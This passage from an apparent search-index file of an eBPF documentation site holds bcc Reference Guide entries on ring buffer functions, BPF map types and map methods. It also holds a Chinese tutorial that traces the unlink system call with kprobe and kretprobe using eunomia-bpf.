的基本概念和技术背景，然后介绍如何在 eBPF 中使用 kprobe 捕获 unlink 系统调用。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » eBPF 入门开发实践教程二：在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用","id":"22","title":"eBPF 入门开发实践教程二：在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用"},"220":{"body":"Syntax: void* ringbuf_reserve(u64 data_size) Return: Pointer to data struct on success, NULL on failure A method of the BPF_RINGBUF_OUTPUT table, for reserving space in the ring buffer and simultaenously allocating a data struct for output. Must be used with one of ringbuf_submit or ringbuf_discard. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 7. ringbuf_reserve()","id":"220","title":"7. ringbuf_reserve()"},"221":{"body":"Syntax: void ringbuf_submit((void *)data, u64 flags) Return: Nothing, always succeeds Flags: BPF_RB_NO_WAKEUP: Do not sent notification of new data availability BPF_RB_FORCE_WAKEUP: Send notification of new data availability unconditionally A method of the BPF_RINGBUF_OUTPUT table, for submitting custom event data to user space. Must be preceded by a call to ringbuf_reserve() to reserve space for the data. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 8. ringbuf_submit()","id":"221","title":"8. ringbuf_submit()"},"222":{"body":"Syntax: void ringbuf_discard((void *)data, u64 flags) Return: Nothing, always succeeds Flags: BPF_RB_NO_WAKEUP: Do not sent notification of new data availability BPF_RB_FORCE_WAKEUP: Send notification of new data availability unconditionally A method of the BPF_RINGBUF_OUTPUT table, for discarding custom event data; userspace ignores the data associated with the discarded event. Must be preceded by a call to ringbuf_reserve() to reserve space for the data. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 9. ringbuf_discard()","id":"222","title":"9. ringbuf_discard()"},"223":{"body":"Maps are BPF data stores, and are the basis for higher level object types including tables, hashes, and histograms.","breadcrumbs":"bcc Reference Guide » Maps","id":"223","title":"Maps"},"224":{"body":"Syntax: BPF_TABLE(_table_type, _key_type, _leaf_type, _name, _max_entries) Creates a map named _name. Most of the time this will be used via higher-level macros, like BPF_HASH, BPF_ARRAY, BPF_HISTOGRAM, etc. BPF_F_TABLE is a variant that takes a flag in the last parameter. BPF_TABLE(https://github.com/iovisor/bcc/tree/master.) is actually a wrapper to BPF_F_TABLE(https://github.com/iovisor/bcc/tree/master., 0 /* flag */). Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). Examples in situ: search /examples , search /tools Pinned Maps Syntax: BPF_TABLE_PINNED(_table_type, _key_type, _leaf_type, _name, _max_entries, \"/sys/fs/bpf/xyz\") Create a new map if it doesn't exist and pin it to the bpffs as a FILE, otherwise use the map that was pinned to the bpffs. The type information is not enforced and the actual map type depends on the map that got pinned to the location. For example: BPF_TABLE_PINNED(\"hash\", u64, u64, ids, 1024, \"/sys/fs/bpf/ids\");","breadcrumbs":"bcc Reference Guide » 1. BPF_TABLE","id":"224","title":"1. BPF_TABLE"},"225":{"body":"Syntax: BPF_HASH(name [, key_type [, leaf_type [, size]]]) Creates a hash map (associative array) named name, with optional parameters. Defaults: BPF_HASH(name, key_type=u64, leaf_type=u64, size=10240) For example: BPF_HASH(start, struct request *); This creates a hash named start where the key is a struct request *, and the value defaults to u64. This hash is used by the disksnoop.py example for saving timestamps for each I/O request, where the key is the pointer to struct request, and the value is the timestamp. This is a wrapper macro for BPF_TABLE(\"hash\", ...). Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. BPF_HASH","id":"225","title":"2. BPF_HASH"},"226":{"body":"Syntax: BPF_ARRAY(name [, leaf_type [, size]]) Creates an int-indexed array which is optimized for fastest lookup and update, named name, with optional parameters. Defaults: BPF_ARRAY(name, leaf_type=u64, size=10240) For example: BPF_ARRAY(counts, u64, 32); This creates an array named counts where with 32 buckets and 64-bit integer values. This array is used by the funccount.py example for saving call count of each function. This is a wrapper macro for BPF_TABLE(\"array\", ...). Methods (covered later): map.lookup(), map.update(), map.increment(). Note that all array elements are pre-allocated with zero values and can not be deleted. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. BPF_ARRAY","id":"226","title":"3. BPF_ARRAY"},"227":{"body":"Syntax: BPF_HISTOGRAM(name [, key_type [, size ]]) Creates a histogram map named name, with optional parameters. Defaults: BPF_HISTOGRAM(name, key_type=int, size=64) For example: BPF_HISTOGRAM(dist); This creates a histogram named dist, which defaults to 64 buckets indexed by keys of type int. This is a wrapper macro for BPF_TABLE(\"histgram\", ...). Methods (covered later): map.increment(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. BPF_HISTOGRAM","id":"227","title":"4. BPF_HISTOGRAM"},"228":{"body":"Syntax: BPF_STACK_TRACE(name, max_entries) Creates stack trace map named name, with a maximum entry count provided. These maps are used to store stack traces. For example: BPF_STACK_TRACE(stack_traces, 1024); This creates stack trace map named stack_traces, with a maximum number of stack trace entries of 1024. This is a wrapper macro for BPF_TABLE(\"stacktrace\", ...). Methods (covered later): map.get_stackid(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. BPF_STACK_TRACE","id":"228","title":"5. BPF_STACK_TRACE"},"229":{"body":"Syntax: BPF_PERF_ARRAY(name, max_entries) Creates perf array named name, with a maximum entry count provided, which must be equal to the number of system cpus. These maps are used to fetch hardware performance counters. For example: text=\"\"\"\nBPF_PERF_ARRAY(cpu_cycles, NUM_CPUS);\n\"\"\"\nb = bcc.BPF(text=text, cflags=[\"-DNUM_CPUS=%d\" % multiprocessing.cpu_count()])\nb[\"cpu_cycles\"].open_perf_event(b[\"cpu_cycles\"].HW_CPU_CYCLES) This creates a perf array named cpu_cycles, with number of entries equal to the number of cpus/cores. The array is configured so that later calling map.perf_read() will return a hardware-calculated counter of the number of cycles elapsed from some point in the past. Only one type of hardware counter may be configured per table at a time. Methods (covered later): map.perf_read(). Examples in situ: search /tests","breadcrumbs":"bcc Reference Guide » 6. BPF_PERF_ARRAY","id":"229","title":"6. BPF_PERF_ARRAY"},"23":{"body":"开发人员在内核或者模块的调试过程中，往往会需要要知道其中的一些函数有无被调用、何时被调用、执行是否正确以及函数的入参和返回值是什么等等。比较简单的做法是在内核代码对应的函数中添加日志打印信息，但这种方式往往需要重新编译内核或模块，重新启动设备之类的，操作较为复杂甚至可能会破坏原有的代码执行过程。 而利用kprobes技术，用户可以定义自己的回调函数，然后在内核或者模块中几乎所有的函数中（有些函数是不可探测的，例如kprobes自身的相关实现函数，后文会有详细说明）动态的插入探测点，当内核执行流程执行到指定的探测函数时，会调用该回调函数，用户即可收集所需的信息了，同时内核最后还会回到原本的正常执行流程。如果用户已经收集足够的信息，不再需要继续探测，则同样可以动态地移除探测点。因此kprobes技术具有对内核执行流程影响小和操作方便的优点。 kprobes技术包括的3种探测手段分别时kprobe、jprobe和kretprobe。首先kprobe是最基本的探测方式，是实现后两种的基础，它可以在任意的位置放置探测点（就连函数内部的某条指令处也可以），它提供了探测点的调用前、调用后和内存访问出错3种回调方式，分别是pre_handler、post_handler和fault_handler，其中pre_handler函数将在被探测指令被执行前回调，post_handler会在被探测指令执行完毕后回调（注意不是被探测函数），fault_handler会在内存访问出错时被调用；jprobe基于kprobe实现，它用于获取被探测函数的入参值；最后kretprobe从名字中就可以看出其用途了，它同样基于kprobe实现，用于获取被探测函数的返回值。 kprobes的技术原理并不仅仅包含存软件的实现方案，它也需要硬件架构提供支持。其中涉及硬件架构相关的是CPU的异常处理和单步调试技术，前者用于让程序的执行流程陷入到用户注册的回调函数中去，而后者则用于单步执行被探测点指令，因此并不是所有的架构均支持，目前kprobes技术已经支持多种架构，包括i386、x86_64、ppc64、ia64、sparc64、arm、ppc和mips（有些架构实现可能并不完全，具体可参考内核的Documentation/kprobes.txt）。 kprobes的特点与使用限制： kprobes允许在同一个被被探测位置注册多个kprobe，但是目前jprobe却不可以；同时也不允许以其他的jprobe回调函数和kprobe的post_handler回调函数作为被探测点。 一般情况下，可以探测内核中的任何函数，包括中断处理函数。不过在kernel/kprobes.c和arch/*/kernel/kprobes.c程序中用于实现kprobes自身的函数是不允许被探测的，另外还有do_page_fault和notifier_call_chain； 如果以一个内联函数为探测点，则kprobes可能无法保证对该函数的所有实例都注册探测点。由于gcc可能会自动将某些函数优化为内联函数，因此可能无法达到用户预期的探测效果； 一个探测点的回调函数可能会修改被探测函数运行的上下文，例如通过修改内核的数据结构或者保存与struct pt_regs结构体中的触发探测器之前寄存器信息。因此kprobes可以被用来安装bug修复代码或者注入故障测试代码； kprobes会避免在处理探测点函数时再次调用另一个探测点的回调函数，例如在printk()函数上注册了探测点，则在它的回调函数中可能再次调用printk函数，此时将不再触发printk探测点的回调，仅仅时增加了kprobe结构体中nmissed字段的数值； 在kprobes的注册和注销过程中不会使用mutex锁和动态的申请内存； kprobes回调函数的运行期间是关闭内核抢占的，同时也可能在关闭中断的情况下执行，具体要视CPU架构而定。因此不论在何种情况下，在回调函数中不要调用会放弃CPU的函数（如信号量、mutex锁等）； kretprobe通过替换返回地址为预定义的trampoline的地址来实现，因此栈回溯和gcc内嵌函数__builtin_return_address()调用将返回trampoline的地址而不是真正的被探测函数的返回地址； 如果一个函数的调用次数和返回次数不相等，则在类似这样的函数上注册kretprobe将可能不会达到预期的效果，例如do_exit()函数会存在问题，而do_execve()函数和do_fork()函数不会； 如果当在进入和退出一个函数时，CPU运行在非当前任务所有的栈上，那么往该函数上注册kretprobe可能会导致不可预料的后果，因此，kprobes不支持在X86_64的结构下为__switch_to()函数注册kretprobe，将直接返回-EINVAL。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » kprobes 技术背景","id":"23","title":"kprobes 技术背景"},"230":{"body":"Syntax: BPF_PERCPU_HASH(name [, key_type [, leaf_type [, size]]]) Creates NUM_CPU int-indexed hash maps (associative arrays) named name, with optional parameters. Each CPU will have a separate copy of this array. The copies are not kept synchronized in any way. Note that due to limits defined in the kernel (in linux/mm/percpu.c), the leaf_type cannot have a size of more than 32KB. In other words, BPF_PERCPU_HASH elements cannot be larger than 32KB in size. Defaults: BPF_PERCPU_HASH(name, key_type=u64, leaf_type=u64, size=10240) For example: BPF_PERCPU_HASH(start, struct request *); This creates NUM_CPU hashes named start where the key is a struct request *, and the value defaults to u64. This is a wrapper macro for BPF_TABLE(\"percpu_hash\", ...). Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 7. BPF_PERCPU_HASH","id":"230","title":"7. BPF_PERCPU_HASH"},"231":{"body":"Syntax: BPF_PERCPU_ARRAY(name [, leaf_type [, size]]) Creates NUM_CPU int-indexed arrays which are optimized for fastest lookup and update, named name, with optional parameters. Each CPU will have a separate copy of this array. The copies are not kept synchronized in any way. Note that due to limits defined in the kernel (in linux/mm/percpu.c), the leaf_type cannot have a size of more than 32KB. In other words, BPF_PERCPU_ARRAY elements cannot be larger than 32KB in size. Defaults: BPF_PERCPU_ARRAY(name, leaf_type=u64, size=10240) For example: BPF_PERCPU_ARRAY(counts, u64, 32); This creates NUM_CPU arrays named counts where with 32 buckets and 64-bit integer values. This is a wrapper macro for BPF_TABLE(\"percpu_array\", ...). Methods (covered later): map.lookup(), map.update(), map.increment(). Note that all array elements are pre-allocated with zero values and can not be deleted. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 8. BPF_PERCPU_ARRAY","id":"231","title":"8. BPF_PERCPU_ARRAY"},"232":{"body":"Syntax: BPF_LPM_TRIE(name [, key_type [, leaf_type [, size]]]) Creates a longest prefix match trie map named name, with optional parameters. Defaults: BPF_LPM_TRIE(name, key_type=u64, leaf_type=u64, size=10240) For example: BPF_LPM_TRIE(trie, struct key_v6); This creates an LPM trie map named trie where the key is a struct key_v6, and the value defaults to u64. This is a wrapper macro to BPF_F_TABLE(\"lpm_trie\", ..., BPF_F_NO_PREALLOC). Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 9. BPF_LPM_TRIE","id":"232","title":"9. BPF_LPM_TRIE"},"233":{"body":"Syntax: BPF_PROG_ARRAY(name, size) This creates a program array named name with size entries. Each entry of the array is either a file descriptor to a bpf program or NULL. The array acts as a jump table so that bpf programs can \"tail-call\" other bpf programs. This is a wrapper macro for BPF_TABLE(\"prog\", ...). Methods (covered later): map.call(). Examples in situ: search /examples , search /tests , assign fd","breadcrumbs":"bcc Reference Guide » 10. BPF_PROG_ARRAY","id":"233","title":"10. BPF_PROG_ARRAY"},"234":{"body":"Syntax: BPF_DEVMAP(name, size) This creates a device map named name with size entries. Each entry of the map is an ifindex to a network interface. This map is only used in XDP. For example: BPF_DEVMAP(devmap, 10); Methods (covered later): map.redirect_map(). Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 11. BPF_DEVMAP","id":"234","title":"11. BPF_DEVMAP"},"235":{"body":"Syntax: BPF_CPUMAP(name, size) This creates a cpu map named name with size entries. The index of the map represents the CPU id and each entry is the size of the ring buffer allocated for the CPU. This map is only used in XDP. For example: BPF_CPUMAP(cpumap, 16); Methods (covered later): map.redirect_map(). Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 12. BPF_CPUMAP","id":"235","title":"12. BPF_CPUMAP"},"236":{"body":"Syntax: BPF_XSKMAP(name, size [, \"/sys/fs/bpf/xyz\"]) This creates a xsk map named name with size entries and pin it to the bpffs as a FILE. Each entry represents one NIC's queue id. This map is only used in XDP to redirect packet to an AF_XDP socket. If the AF_XDP socket is binded to a queue which is different than the current packet's queue id, the packet will be dropped. For kernel v5.3 and latter, lookup method is available and can be used to check whether and AF_XDP socket is available for the current packet's queue id. More details at AF_XDP . For example: BPF_XSKMAP(xsks_map, 8); Methods (covered later): map.redirect_map(). map.lookup() Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 13. BPF_XSKMAP","id":"236","title":"13. BPF_XSKMAP"},"237":{"body":"Syntax: BPF_ARRAY_OF_MAPS(name, inner_map_name, size) This creates an array map with a map-in-map type (BPF_MAP_TYPE_HASH_OF_MAPS) map named name with size entries. The inner map meta data is provided by map inner_map_name and can be most of array or hash maps except BPF_MAP_TYPE_PROG_ARRAY, BPF_MAP_TYPE_CGROUP_STORAGE and BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE. For example: BPF_TABLE(\"hash\", int, int, ex1, 1024);\nBPF_TABLE(\"hash\", int, int, ex2, 1024);\nBPF_ARRAY_OF_MAPS(maps_array, \"ex1\", 10);","breadcrumbs":"bcc Reference Guide » 14. BPF_ARRAY_OF_MAPS","id":"237","title":"14. BPF_ARRAY_OF_MAPS"},"238":{"body":"Syntax: BPF_HASH_OF_MAPS(name, key_type, inner_map_name, size) This creates a hash map with a map-in-map type (BPF_MAP_TYPE_HASH_OF_MAPS) map named name with size entries. The inner map meta data is provided by map inner_map_name and can be most of array or hash maps except BPF_MAP_TYPE_PROG_ARRAY, BPF_MAP_TYPE_CGROUP_STORAGE and BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE. For example: BPF_ARRAY(ex1, int, 1024);\nBPF_ARRAY(ex2, int, 1024);\nBPF_HASH_OF_MAPS(maps_hash, struct custom_key, \"ex1\", 10);","breadcrumbs":"bcc Reference Guide » 15. BPF_HASH_OF_MAPS","id":"238","title":"15. BPF_HASH_OF_MAPS"},"239":{"body":"Syntax: BPF_STACK(name, leaf_type, max_entries[, flags]) Creates a stack named name with value type leaf_type and max entries max_entries. Stack and Queue maps are only available from Linux 4.20+. For example: BPF_STACK(stack, struct event, 10240); This creates a stack named stack where the value type is struct event, that holds up to 10240 entries. Methods (covered later): map.push(), map.pop(), map.peek(). Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 16. BPF_STACK","id":"239","title":"16. BPF_STACK"},"24":{"body":"完整代码如下： #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h> char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"kprobe/do_unlinkat\")\nint BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; const char *filename; pid = bpf_get_current_pid_tgid() >> 32; filename = BPF_CORE_READ(name, name); bpf_printk(\"KPROBE ENTRY pid = %d, filename = %s\\n\", pid, filename); return 0;\n} SEC(\"kretprobe/do_unlinkat\")\nint BPF_KRETPROBE(do_unlinkat_exit, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"KPROBE EXIT: pid = %d, ret = %ld\\n\", pid, ret); return 0;\n} 这段代码是一个简单的 eBPF 程序，用于监测和捕获在 Linux 内核中执行的 unlink 系统调用。unlink 系统调用的功能是删除一个文件，这个 eBPF 程序通过使用 kprobe（内核探针）在 do_unlinkat 函数的入口和退出处放置钩子，实现对该系统调用的跟踪。 首先，我们导入必要的头文件，如 vmlinux.h，bpf_helpers.h，bpf_tracing.h 和 bpf_core_read.h。接着，我们定义许可证，以允许程序在内核中运行。 #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h> char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 接下来，我们定义一个名为 BPF_KPROBE(do_unlinkat) 的 kprobe，当进入 do_unlinkat 函数时，它会被触发。该函数接受两个参数：dfd（文件描述符）和 name（文件名结构体指针）。在这个 kprobe 中，我们获取当前进程的 PID（进程标识符），然后读取文件名。最后，我们使用 bpf_printk 函数在内核日志中打印 PID 和文件名。 SEC(\"kprobe/do_unlinkat\")\nint BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; const char *filename; pid = bpf_get_current_pid_tgid() >> 32; filename = BPF_CORE_READ(name, name); bpf_printk(\"KPROBE ENTRY pid = %d, filename = %s\\n\", pid, filename); return 0;\n} 接下来，我们定义一个名为 BPF_KRETPROBE(do_unlinkat_exit) 的 kretprobe，当从 do_unlinkat 函数退出时，它会被触发。这个 kretprobe 的目的是捕获函数的返回值（ret）。我们再次获取当前进程的 PID，并使用 bpf_printk 函数在内核日志中打印 PID 和返回值。 SEC(\"kretprobe/do_unlinkat\")\nint BPF_KRETPROBE(do_unlinkat_exit, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"KPROBE EXIT: pid = %d, ret = %ld\\n\", pid, ret); return 0;\n} eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。 要编译这个程序，请使用 ecc 工具： $ ecc kprobe-link.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 然后运行： sudo ecli run package.json 在另外一个窗口中： touch test1\nrm test1\ntouch test2\nrm test2 在 /sys/kernel/debug/tracing/trace_pipe 文件中，应该能看到类似下面的 kprobe 演示输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-9346 [005] d..3 4710.951696: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test1 rm-9346 [005] d..4 4710.951819: bpf_trace_printk: KPROBE EXIT: ret = 0 rm-9346 [005] d..3 4710.951852: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test2 rm-9346 [005] d..4 4710.951895: bpf_trace_printk: KPROBE EXIT: ret = 0","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » kprobe 示例","id":"24","title":"kprobe 示例"},"240":{"body":"Syntax: BPF_QUEUE(name, leaf_type, max_entries[, flags]) Creates a queue named name with value type leaf_type and max entries max_entries. Stack and Queue maps are only available from Linux 4.20+. For example: BPF_QUEUE(queue, struct event, 10240); This creates a queue named queue where the value type is struct event, that holds up to 10240 entries. Methods (covered later): map.push(), map.pop(), map.peek(). Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 17. BPF_QUEUE","id":"240","title":"17. BPF_QUEUE"},"241":{"body":"Syntax: BPF_SOCKHASH(name[, key_type [, max_entries) Creates a hash named name, with optional parameters. sockhash is only available from Linux 4.18+. Default: BPF_SOCKHASH(name, key_type=u32, max_entries=10240) For example: struct sock_key { u32 remote_ip4; u32 local_ip4; u32 remote_port; u32 local_port;\n};\nBPF_HASH(skh, struct sock_key, 65535); This creates a hash named skh where the key is a struct sock_key. A sockhash is a BPF map type that holds references to sock structs. Then with a new sk/msg redirect bpf helper BPF programs can use the map to redirect skbs/msgs between sockets (map.sk_redirect_hash()/map.msg_redirect_hash()). The difference between BPF_SOCKHASH and BPF_SOCKMAP is that BPF_SOCKMAP is implemented based on an array, and enforces keys to be four bytes. While BPF_SOCKHASH is implemented based on hash table, and the type of key can be specified freely. Methods (covered later): map.sock_hash_update(), map.msg_redirect_hash(), map.sk_redirect_hash(). search /tests","breadcrumbs":"bcc Reference Guide » 18. BPF_SOCKHASH","id":"241","title":"18. BPF_SOCKHASH"},"242":{"body":"Syntax: *val map.lookup(&key) Lookup the key in the map, and return a pointer to its value if it exists, else NULL. We pass the key in as an address to a pointer. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 19. map.lookup()","id":"242","title":"19. map.lookup()"},"243":{"body":"Syntax: *val map.lookup_or_try_init(&key, &zero) Lookup the key in the map, and return a pointer to its value if it exists, else initialize the key's value to the second argument. This is often used to initialize values to zero. If the key cannot be inserted (e.g. the map is full) then NULL is returned. Examples in situ: search /examples , search /tools Note: The old map.lookup_or_init() may cause return from the function, so lookup_or_try_init() is recommended as it does not have this side effect.","breadcrumbs":"bcc Reference Guide » 20. map.lookup_or_try_init()","id":"243","title":"20. map.lookup_or_try_init()"},"244":{"body":"Syntax: map.delete(&key) Delete the key from the hash. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 21. map.delete()","id":"244","title":"21. map.delete()"},"245":{"body":"Syntax: map.update(&key, &val) Associate the value in the second argument to the key, overwriting any previous value. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 22. map.update()","id":"245","title":"22. map.update()"},"246":{"body":"Syntax: map.insert(&key, &val) Associate the value in the second argument to the key, only if there was no previous value. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 23. map.insert()","id":"246","title":"23. map.insert()"},"247":{"body":"Syntax: map.increment(key[, increment_amount]) Increments the key's value by increment_amount, which defaults to 1. Used for histograms. map.increment() are not atomic. In the concurrency case. If you want more accurate results, use map.atomic_increment() instead of map.increment(). The overhead of map.increment() and map.atomic_increment() is similar. Note. When using map.atomic_increment() to operate on a BPF map of type BPF_MAP_TYPE_HASH, map.atomic_increment() does not guarantee the atomicity of the operation when the specified key does not exist. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 24. map.increment()","id":"247","title":"24. map.increment()"},"248":{"body":"Syntax: int map.get_stackid(void *ctx, u64 flags) This walks the stack found via the struct pt_regs in ctx, saves it in the stack trace map, and returns a unique ID for the stack trace. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 25. map.get_stackid()","id":"248","title":"25. map.get_stackid()"},"249":{"body":"Syntax: u64 map.perf_read(u32 cpu) This returns the hardware performance counter as configured in 5. BPF_PERF_ARRAY Examples in situ: search /tests","breadcrumbs":"bcc Reference Guide » 26. map.perf_read()","id":"249","title":"26. map.perf_read()"},"25":{"body":"通过本文的示例，我们学习了如何使用 eBPF 的 kprobe 和 kretprobe 捕获 unlink 系统调用。更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 本文是 eBPF 入门开发实践教程的第二篇。下一篇文章将介绍如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » 总结","id":"25","title":"总结"},"250":{"body":"Syntax: void map.call(void *ctx, int index) This invokes bpf_tail_call() to tail-call the bpf program which the index entry in BPF_PROG_ARRAY points to. A tail-call is different from the normal call. It reuses the current stack frame after jumping to another bpf program and never goes back. If the index entry is empty, it won't jump anywhere and the program execution continues as normal. For example: BPF_PROG_ARRAY(prog_array, 10); int tail_call(void *ctx) { bpf_trace_printk(\"Tail-call\\n\"); return 0;\n} int do_tail_call(void *ctx) { bpf_trace_printk(\"Original program\\n\"); prog_array.call(ctx, 2); return 0;\n} b = BPF(src_file=\"example.c\")\ntail_fn = b.load_func(\"tail_call\", BPF.KPROBE)\nprog_array = b.get_table(\"prog_array\")\nprog_array[c_int(2)] = c_int(tail_fn.fd)\nb.attach_kprobe(event=\"some_kprobe_event\", fn_name=\"do_tail_call\") This assigns tail_call() to prog_array[2]. In the end of do_tail_call(), prog_array.call(ctx, 2) tail-calls tail_call() and executes it. NOTE: To prevent infinite loop, the maximum number of tail-calls is 32 ( MAX_TAIL_CALL_CNT ). Examples in situ: search /examples , search /tests","breadcrumbs":"bcc Reference Guide » 27. map.call()","id":"250","title":"27. map.call()"},"251":{"body":"Syntax: int map.redirect_map(int index, int flags) This redirects the incoming packets based on the index entry. If the map is BPF_DEVMAP , the packet will be sent to the transmit queue of the network interface that the entry points to. If the map is BPF_CPUMAP , the packet will be sent to the ring buffer of the index CPU and be processed by the CPU later. If the map is BPF_XSKMAP , the packet will be sent to the AF_XDP socket attached to the queue. If the packet is redirected successfully, the function will return XDP_REDIRECT. Otherwise, it will return XDP_ABORTED to discard the packet. For example: BPF_DEVMAP(devmap, 1); int redirect_example(struct xdp_md *ctx) { return devmap.redirect_map(0, 0);\n}\nint xdp_dummy(struct xdp_md *ctx) { return XDP_PASS;\n} ip = pyroute2.IPRoute()\nidx = ip.link_lookup(ifname=\"eth1\")[0] b = bcc.BPF(src_file=\"example.c\") devmap = b.get_table(\"devmap\")\ndevmap[c_uint32(0)] = c_int(idx) in_fn = b.load_func(\"redirect_example\", BPF.XDP)\nout_fn = b.load_func(\"xdp_dummy\", BPF.XDP)\nb.attach_xdp(\"eth0\", in_fn, 0)\nb.attach_xdp(\"eth1\", out_fn, 0) Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 28. map.redirect_map()","id":"251","title":"28. map.redirect_map()"},"252":{"body":"Syntax: int map.push(&val, int flags) Push an element onto a Stack or Queue table. Passing BPF_EXIST as a flag causes the Queue or Stack to discard the oldest element if it is full. Returns 0 on success, negative error on failure. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 29. map.push()","id":"252","title":"29. map.push()"},"253":{"body":"Syntax: int map.pop(&val) Pop an element from a Stack or Queue table. *val is populated with the result. Unlike peeking, popping removes the element. Returns 0 on success, negative error on failure. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 30. map.pop()","id":"253","title":"30. map.pop()"},"254":{"body":"Syntax: int map.peek(&val) Peek an element at the head of a Stack or Queue table. *val is populated with the result. Unlike popping, peeking does not remove the element. Returns 0 on success, negative error on failure. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 31. map.peek()","id":"254","title":"31. map.peek()"},"255":{"body":"Syntax: int map.sock_hash_update(struct bpf_sock_ops *skops, &key, int flags) Add an entry to, or update a sockhash map referencing sockets. The skops is used as a new value for the entry associated to key. flags is one of: BPF_NOEXIST: The entry for key must not exist in the map.\nBPF_EXIST: The entry for key must already exist in the map.\nBPF_ANY: No condition on the existence of the entry for key. If the map has eBPF programs (parser and verdict), those will be inherited by the socket being added. If the socket is already attached to eBPF programs, this results in an error. Return 0 on success, or a negative error in case of failure. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 32. map.sock_hash_update()","id":"255","title":"32. map.sock_hash_update()"},"256":{"body":"Syntax: int map.msg_redirect_hash(struct sk_msg_buff *msg, void *key, u64 flags) This helper is used in programs implementing policies at the socket level. If the message msg is allowed to pass (i.e. if the verdict eBPF program returns SK_PASS), redirect it to the socket referenced by map (of type BPF_MAP_TYPE_SOCKHASH) using hash key. Both ingress and egress interfaces can be used for redirection. The BPF_F_INGRESS value in flags is used to make the distinction (ingress path is selected if the flag is present, egress path otherwise). This is the only flag supported for now. Return SK_PASS on success, or SK_DROP on error. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 33. map.msg_redirect_hash()","id":"256","title":"33. map.msg_redirect_hash()"},"257":{"body":"Syntax: int map.sk_redirect_hash(struct sk_buff *skb, void *key, u64 flags) This helper is used in programs implementing policies at the skb socket level. If the sk_buff skb is allowed to pass (i.e. if the verdict eBPF program returns SK_PASS), redirect it to the socket referenced by map (of type BPF_MAP_TYPE_SOCKHASH) using hash key. Both ingress and egress interfaces can be used for redirection. The BPF_F_INGRESS value in flags is used to make the distinction (ingress path is selected if the flag is present, egress otherwise). This is the only flag supported for now. Return SK_PASS on success, or SK_DROP on error. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 34. map.sk_redirect_hash()","id":"257","title":"34. map.sk_redirect_hash()"},"258":{"body":"Depending on which BPF helpers are used, a GPL-compatible license is required. The special BCC macro BPF_LICENSE specifies the license of the BPF program. You can set the license as a comment in your source code, but the kernel has a special interface to specify it programmatically. If you need to use GPL-only helpers, it is recommended to specify the macro in your C code so that the kernel can understand it: // SPDX-License-Identifier: GPL-2.0+\n#define BPF_LICENSE GPL Otherwise, the kernel may reject loading your program (see the error description below). Note that it supports multiple words and quotes are not necessary: // 